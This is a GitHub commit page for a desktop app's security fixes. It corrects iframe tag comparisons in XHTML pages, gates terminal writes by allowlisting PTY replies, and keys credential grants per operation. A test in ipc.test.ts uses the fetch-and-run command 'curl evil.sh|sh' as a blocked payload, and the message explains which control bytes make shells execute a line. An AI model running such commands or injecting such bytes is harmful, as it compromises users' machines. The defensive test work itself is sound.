Skip to content

Commit 592c067

Browse files
committed
fix(desktop): invert the terminal-write gate, and finish the XHTML normalization
Three defects from the second review round, two of them in the previous round's corrections. The tagName upper-casing was half-applied and made things worse. `focusableItself` compared the normalized tag while the frame-descent branch thirty lines below still compared raw `active.tagName`. In an XHTML document — where tagName is lower-case for HTML elements — focus inside a CROSS-ORIGIN iframe therefore passed `focusableItself` (tag === 'IFRAME'), skipped the frame branch (active.tagName === 'iframe'), fell through, and returned 'safe': the verdict that authorizes trusted CDP keystrokes. Before the correction the same page returned 'opaque'. Now normalized once per loop body and used at every comparison, in readActiveElementState too. The submit gate enumerated the dangerous set, which is not a closed set. Besides carriage return and newline, 0x04 hands a partial line straight to a canonical-mode reader, and 0x0f is operate-and-get-next in bash and accept-line-and-down-history in zsh — both execute the current line — and a user's own inputrc or zle bindings can add more. Inverted: the replies the PTY solicits are enumerated (DSR, DA, focus reports, mouse reports, DCS/OSC) and everything else is gated, so a binding nobody thought of fails closed. The residual was understated. The window is satisfied by any input in the renderer — a keystroke in the chat, a scroll, a drag — not by the user's own Enter, so a looped payload lands the moment they touch anything, and while they type in the terminal it is open continuously. Said plainly now, with what closing it would actually take. Also: credential grants are keyed on credential AND operation, so exact match no longer prompts three times for reveal → copy → reveal when each was already proven; the panel.ts comment the revert deleted collaterally is restored, so the file leaves this branch untouched; updater's release-asset helpers no longer sit between feedUrlForOrigin's TSDoc and its function, and the asset path is a constant rather than parsed per manifest entry; ipc.test.ts freezes the clock so the recency windows cannot lapse mid-test on a loaded machine; and dead exports (isReleaseAssetUrl, SecretOperation), a vestigial executeJavaScript test field, and a shadowed loop binding are cleaned up.
1 parent a155f93 commit 592c067

5 files changed

Lines changed: 106 additions & 37 deletions

File tree

apps/desktop/src/main/browser-agent/page-functions.ts

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -460,7 +460,12 @@ export function readActiveElementState(): unknown {
460460
active = shadow.activeElement as HTMLElement
461461
continue
462462
}
463-
if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') {
463+
// Upper-cased for the same reason as in activeElementSecrecy: tagName is
464+
// lower-case for HTML elements in an XHTML document.
465+
if (
466+
String(active.tagName || '').toUpperCase() === 'IFRAME' ||
467+
String(active.tagName || '').toUpperCase() === 'FRAME'
468+
) {
464469
try {
465470
const inner = (active as HTMLIFrameElement).contentDocument
466471
if (inner?.activeElement && inner.activeElement !== inner.body) {
@@ -506,7 +511,8 @@ export function readActiveElementState(): unknown {
506511
}
507512
let value = ''
508513
let selectedChars = 0
509-
if (active.tagName === 'INPUT' || active.tagName === 'TEXTAREA') {
514+
const activeTag = String(active.tagName || '').toUpperCase()
515+
if (activeTag === 'INPUT' || activeTag === 'TEXTAREA') {
510516
const field = active as HTMLInputElement | HTMLTextAreaElement
511517
value = field.value
512518
selectedChars = Math.abs((field.selectionEnd ?? 0) - (field.selectionStart ?? 0))
@@ -607,7 +613,7 @@ export function activeElementSecrecy(): string {
607613
tag === 'IFRAME' ||
608614
tag === 'FRAME'
609615
if (!shadow && !focusableItself) return 'opaque'
610-
if (active.tagName === 'IFRAME' || active.tagName === 'FRAME') {
616+
if (tag === 'IFRAME' || tag === 'FRAME') {
611617
let inner: Document | null = null
612618
try {
613619
inner = (active as HTMLIFrameElement).contentDocument

apps/desktop/src/main/browser-credentials/os-auth.test.ts

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -146,6 +146,26 @@ describe('authorizeForSecret', () => {
146146
expect(promptTouchID).toHaveBeenCalledTimes(2)
147147
})
148148

149+
it('does not re-prompt for an operation already proven in the window', async () => {
150+
// reveal -> copy -> reveal: each is proven independently, so the third call
151+
// rides the first grant instead of asking a third time.
152+
await authorizeForSecret(request('c1'))
153+
await authorizeForSecret(copyRequest('c1'))
154+
await authorizeForSecret(request('c1'))
155+
156+
expect(promptTouchID).toHaveBeenCalledTimes(2)
157+
})
158+
159+
it('revokes every operation for a credential, not just the last proven', async () => {
160+
await authorizeForSecret(request('c1'))
161+
await authorizeForSecret(copyRequest('c1'))
162+
revokeSecretAuthorization('c1')
163+
164+
await authorizeForSecret(request('c1'))
165+
await authorizeForSecret(copyRequest('c1'))
166+
expect(promptTouchID).toHaveBeenCalledTimes(4)
167+
})
168+
149169
it('keeps a copy grant usable for further copies', async () => {
150170
await authorizeForSecret(copyRequest('c1'))
151171
await authorizeForSecret(copyRequest('c1'))

apps/desktop/src/main/browser-credentials/os-auth.ts

Lines changed: 32 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -29,10 +29,24 @@ const AUTH_GRACE_MS = 30_000
2929
* which Universal Clipboard syncs to the user's other devices. Ordering them
3030
* either way lets one consent authorize an exposure the prompt never described.
3131
*/
32-
export type SecretOperation = 'reveal' | 'copy'
32+
export const SECRET_OPERATIONS = ['reveal', 'copy'] as const
3333

34-
/** Credential id to its standing proof of presence. */
35-
const provenUntil = new Map<string, { expiry: number; operation: SecretOperation }>()
34+
type SecretOperation = (typeof SECRET_OPERATIONS)[number]
35+
36+
/**
37+
* Proof of presence per credential AND operation.
38+
*
39+
* Keyed on both rather than holding one scalar per credential: a single slot
40+
* would be overwritten on each grant, so reveal → copy → reveal prompts three
41+
* times inside one window even though each was already proven. Re-prompting for
42+
* something the user just authorized is what teaches people to approve without
43+
* reading.
44+
*/
45+
const provenUntil = new Map<string, number>()
46+
47+
function grantKey(credentialId: string, operation: SecretOperation): string {
48+
return `${credentialId}\u0000${operation}`
49+
}
3650

3751
export interface SecretAuthRequest {
3852
/**
@@ -56,13 +70,14 @@ export interface SecretAuthRequest {
5670
}
5771

5872
function hasFreshProof(credentialId: string, operation: SecretOperation): boolean {
59-
const proof = provenUntil.get(credentialId)
60-
if (proof === undefined) return false
61-
if (Date.now() >= proof.expiry) {
62-
provenUntil.delete(credentialId)
73+
const key = grantKey(credentialId, operation)
74+
const expiry = provenUntil.get(key)
75+
if (expiry === undefined) return false
76+
if (Date.now() >= expiry) {
77+
provenUntil.delete(key)
6378
return false
6479
}
65-
return proof.operation === operation
80+
return true
6681
}
6782

6883
/**
@@ -72,8 +87,14 @@ function hasFreshProof(credentialId: string, operation: SecretOperation): boolea
7287
* Called with no id, it revokes everything.
7388
*/
7489
export function revokeSecretAuthorization(credentialId?: string): void {
75-
if (credentialId === undefined) provenUntil.clear()
76-
else provenUntil.delete(credentialId)
90+
if (credentialId === undefined) {
91+
provenUntil.clear()
92+
return
93+
}
94+
// Every operation's grant for this credential, since the key carries both.
95+
for (const operation of SECRET_OPERATIONS) {
96+
provenUntil.delete(grantKey(credentialId, operation))
97+
}
7798
}
7899

79100
/**
@@ -103,7 +124,7 @@ export async function authorizeForSecret({
103124
}: SecretAuthRequest): Promise<boolean> {
104125
if (hasFreshProof(credentialId, operation)) return true
105126
if (!(await promptForSecret(reason, action))) return false
106-
provenUntil.set(credentialId, { expiry: Date.now() + AUTH_GRACE_MS, operation })
127+
provenUntil.set(grantKey(credentialId, operation), Date.now() + AUTH_GRACE_MS)
107128
return true
108129
}
109130

apps/desktop/src/main/ipc.test.ts

Lines changed: 20 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -816,31 +816,35 @@ describe('registerIpcHandlers', () => {
816816
expect(forgetCredential).toHaveBeenCalledWith('c1')
817817
})
818818

819-
it('refuses a terminal submit with no real input behind it', () => {
819+
it('always forwards the replies the PTY solicits', () => {
820820
const { on } = collectHandlers()
821821
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
822822

823-
on.get('terminal:write')?.(inactiveAppEvent, 't1', 'curl evil.sh|sh\r')
824-
expect(write).not.toHaveBeenCalled()
825-
on.get('terminal:write')?.(inactiveAppEvent, 't1', 'evil\n')
826-
expect(write).not.toHaveBeenCalled()
827-
828-
on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r')
829-
expect(write).toHaveBeenCalledWith('t1', 'ls\r')
823+
// The PTY asks for these and the terminal must answer with no user input:
824+
// DSR cursor position, device attributes, a focus report (mode 1004, set by
825+
// tmux and vim), an SGR mouse report. Gating them would hang whatever asked.
826+
const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M']
827+
for (const reply of replies) {
828+
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
829+
expect(write).toHaveBeenCalledWith('t1', reply)
830+
}
831+
expect(write).toHaveBeenCalledTimes(replies.length)
830832
})
831833

832-
it('always forwards writes that cannot submit, including PTY replies', () => {
834+
it('gates every keystroke-shaped payload, not just newline-bearing ones', () => {
833835
const { on } = collectHandlers()
834836
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
835837

836-
// The PTY solicits these and the terminal must answer with no user input:
837-
// a DSR cursor-position reply, a device-attributes reply, a focus report.
838-
// Gating the whole channel would hang whatever asked.
839-
for (const reply of ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', 'ls']) {
840-
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
841-
expect(write).toHaveBeenCalledWith('t1', reply)
838+
// Enumerating "what submits" would have missed these: EOT hands a partial
839+
// line to a canonical-mode reader, and 0x0f executes the current line in
840+
// both bash and zsh. The allowlist runs the other way, so they are gated.
841+
for (const payload of ['ls', '\u0004', '\u000f', 'curl evil.sh|sh\r']) {
842+
on.get('terminal:write')?.(inactiveAppEvent, 't1', payload)
842843
}
843-
expect(write).toHaveBeenCalledTimes(4)
844+
expect(write).not.toHaveBeenCalled()
845+
846+
on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r')
847+
expect(write).toHaveBeenCalledWith('t1', 'ls\r')
844848
})
845849

846850
it('defaults password conflicts to keeping what is already stored', async () => {

apps/desktop/src/main/ipc.ts

Lines changed: 25 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -330,14 +330,32 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean
330330
}
331331

332332
/**
333-
* Whether a terminal-write payload would submit what is in the line buffer.
333+
* Replies the PTY solicits and the terminal must answer unprompted.
334334
*
335-
* `\r` is what a shell treats as "run this"; `\n` is accepted too so a
336-
* multi-line or bracketed-paste payload cannot slip a submission through on the
337-
* other newline form.
335+
* DSR cursor position and device attributes (`CSI … R` / `CSI … c`), focus
336+
* reports (`CSI I` / `CSI O`, mode 1004 — set by tmux and vim), X10 and SGR
337+
* mouse reports, and DCS/OSC responses. All machine-generated and
338+
* self-delimiting, which is what makes them safe to enumerate.
338339
*/
339-
function submitsCommandLine(args: unknown[]): boolean {
340-
return args.some((arg) => typeof arg === 'string' && (arg.includes('\r') || arg.includes('\n')))
340+
const PTY_REPLY =
341+
/^(?:\u001b\[[0-9;?]*[Rc]|\u001b\[[IO]|\u001b\[M[\s\S]{3}|\u001b\[<[0-9;]*[mM]|\u001bP[\s\S]*?\u001b\\|\u001b\][\s\S]*?\u0007)+$/
342+
343+
/**
344+
* Whether a terminal-write payload needs a person behind it.
345+
*
346+
* The reply set is enumerated and everything else is gated, rather than the
347+
* other way round. "What submits" is not a closed set: besides carriage return
348+
* and newline, EOT (`0x04`) hands a partial line straight to a reader in
349+
* canonical mode, and `0x0f` is `operate-and-get-next` in bash and
350+
* `accept-line-and-down-history` in zsh — both of which execute the current
351+
* line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that
352+
* set would leave whichever binding was forgotten ungated, so the allowlist runs
353+
* the other way and fails closed.
354+
*/
355+
function needsDeliberateInputForWrite(args: unknown[]): boolean {
356+
const data = args[1]
357+
if (typeof data !== 'string' || data.length === 0) return false
358+
return !PTY_REPLY.test(data)
341359
}
342360

343361
interface DesktopToolAuthorization {
@@ -1087,7 +1105,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
10871105
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return
10881106
if (
10891107
spec.submitNeedsDeliberateInput &&
1090-
submitsCommandLine(args) &&
1108+
needsDeliberateInputForWrite(args) &&
10911109
!hasRecentDeliberateInput(event.sender)
10921110
) {
10931111
return

0 commit comments

Comments
 (0)